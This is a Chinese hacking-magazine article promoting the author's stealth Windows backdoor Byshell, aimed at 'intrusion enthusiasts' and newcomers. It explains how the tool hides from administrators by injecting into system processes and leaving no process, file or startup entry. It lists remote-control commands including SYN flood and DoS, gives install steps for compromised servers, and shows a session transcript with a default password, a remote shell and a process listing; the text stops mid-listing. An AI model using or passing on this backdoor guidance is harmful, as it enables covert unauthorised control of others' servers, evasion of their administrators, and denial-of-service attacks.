适合读者:入侵爱好者、网络管理员、黑器迷
前置知识:C基本语法
刘流:后门是黑客们永恒的话题,在各大网站如163、Yahoo、北大等相继被黑之后,越来越多的人开始关注服务器的安全,而各种后门技术也空前地火暴起来!今天我们将给大家带来一个重量级后门的使用、编程方法,让广大新手朋友们有好后门玩,让编程技术爱好者有好的后门编程技术可以借鉴。当然,更多的新技术还等你去发掘。
Byshell后门:无进程无DLL无硬盘文件无启动项
现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少,大多数新手们还在使用Radmin一类的软件来替代后门程序。不幸的是,它们并不是一个真正的后门,极容易服务器管理员察觉,因此肉鸡经常飞掉也就很正常了。
一个合格的后门至少应该做到不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进程的名字只是掩耳盗铃;不能在注册表Run启动项或者服务启动项里留下众所周知的启动键值或新增服务,当然更不能直接写开始菜单的启动项;不能如同无视管理员或者防火墙一般明目张胆地打开陌生端口;像Bits.dll那样等待连接时无端口,连接时开端口的程序,在端口检查时只有30%的几率能逃脱。另外后门最好能隐藏自己生成的文件,或者避免感染一些管理员经常检查完整性的系统文件。前三点没有做到的后门程序不是一个“比较高级”的后门程序,当然在使用的时候也就没有稳定性、保密性可言了。
按照我的分类,现在常见的后门大概可以分成三个“级别”:
★应用级。如WinShell、Radmin、冰河等,它们基本没有采取别的方法来隐藏自己,只是一个普通的能够实现远程控制的应用程序而已。
★系统级。多多少少采用了一些Ring3下隐藏行踪的编程技术,用得少的比如Bits.dll,Portless,用得多的比如Hxdef。
小提示:Hxdef虽然有一个驱动,但是它对系统的Hook全都是Ring3的,因此大家倾向于称它为系统级而非内核级后门。
★内核级,后门主要部分工作在Ring0,因此有很强的隐蔽性和杀伤力。但是公布的完整的内核级后门数量不多,兼容性也不近人意。这个话题在Phrack和Rootkit.com上有很多有价值的讨论和成果公布。
我在自己写的系统级后门Byshell v0.64中尽力做到以上的要求,然而由于个人能力有限,功能的实现不够全面、稳定,希望大家能给我提好的意见或者替我升级版本。在这篇文章中我将和大家讨论这个开源后门的设计、实现,当然还有实际的应用举例,希望高手不要扔板砖,大家一起讨论。
应用举例
这是一个实现了无进程、无DLL、无硬盘文件、无启动项的后门程序。利用线程注射DLL到系统进程,解除DLL映射并删除自身文件和启动项,关机时恢复。大量地借鉴和学习了农民Cmdbind2的思想,在这里对农民前辈无私共享的精神致以120分感谢。我允许此软件及其源代码自由传播,但引用时应注明出处。在联系作者并得到同意之前,不得将此软件改编或删选后用作商业用途,可用作学习和私人用途。
Byshell 0.64支持的命令列表如下:cmd,shell,endshell,chpass,byver,sysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDOS,refresh等,具体用法请查看说明书。
小提示:说明书上遗漏了refresh命令,它的作用是清除死掉的连接,并且给你机会重新连接,也可以在你换了一个IP以后,清除原来的连接(否则不能正常连接)。
安装后门时只要把Ntboot.exe和Ntboot.dll上传到肉鸡同一目录并且执行“ntboot.exe –install”即可,安装完成后可手动删除Ntboot.exe和Ntboot.dll,连接的时候用By064cli.exe。注意Byshell v0.64不支持本机对本机测试,v 0.63可以。现在我用v 0.63演示一下使用的效果:
1.连接:
please input the server ip address
127.0.0.1
127.0.0.1 will be connected
input the password(the default one is ’by’)
by
#cmddir c:
驱动器 C 中的卷没有标签。
卷的序列号是 CCB2-D751
c: 的目录
2005-01-29 14:22 <DIR> Documents and Settings
2004-10-01 19:24 <DIR> Inetpub
2004-11-17 20:56 <DIR> Intel
2004-10-30 14:18 24,576 isapilog.dll
2004-11-11 00:55 24,576 magic_asp.dll
2005-02-07 21:47 <DIR> My Music
2004-12-21 00:05 124 Operate.ini
2005-01-18 22:38 <DIR> Program Files
2005-02-07 23:31 <DIR> ubackup
2005-02-02 17:54 <DIR> WINNT
3 个文件 49,276 字节
7 个目录 124,207,104 可用字节
2.获得并结束Shell:
#shell
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:WINNTsystem32>cd..
cd..
C:WINNT>cd..
cd..
C:>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CCB2-D751
C: 的目录
……省略
3 个文件 49,276 字节
7 个目录 124,207,104 可用字节
C:>endshell
shell terminated
#byver
ByShell server version 0.63
Released Dec 19,2004 Copyleft@ "by" co.ltd.
3.进程列举与Kill。这里有BUG,排列不整齐。
#pslist
process:
pid filename num_thread parentpid
8 System 43 0
184 smss.exe 6 8
208 csrss.exe 11 184
232 winlogon.exe 19 184
260 services.exe 31 232
272 lsass.exe 17 232
456 svchost.exe 11 260
488 SPOOLSV.EXE 14 260
524 msdtc.exe 21 260
636 svchost.exe 18 260
656 llssrv.exe 9 260
688 sqlservr.exe 28 260
776 winmgmt.exe 3 260
812 dfssvc.exe 2 260
832 inetinfo.exe 29 260
856 mssearch.exe 6 260
1224 svchost.exe 11 260
1176 explorer.exe 19 1172
1356 igfxtray.exe 2 1176
1404 PFWMain.exe 4 1176
1412 SOUNDMAN.EXE 2 1176
1428 realsched.exe 4 1176
1436 internat.exe 1 1176
1444 sqlmangr.exe 3 1176
1280 BitComet.exe 9 1176
328 notepad.exe 2 1176
1196 MDM.EXE 5 456
1512 conime.exe 1
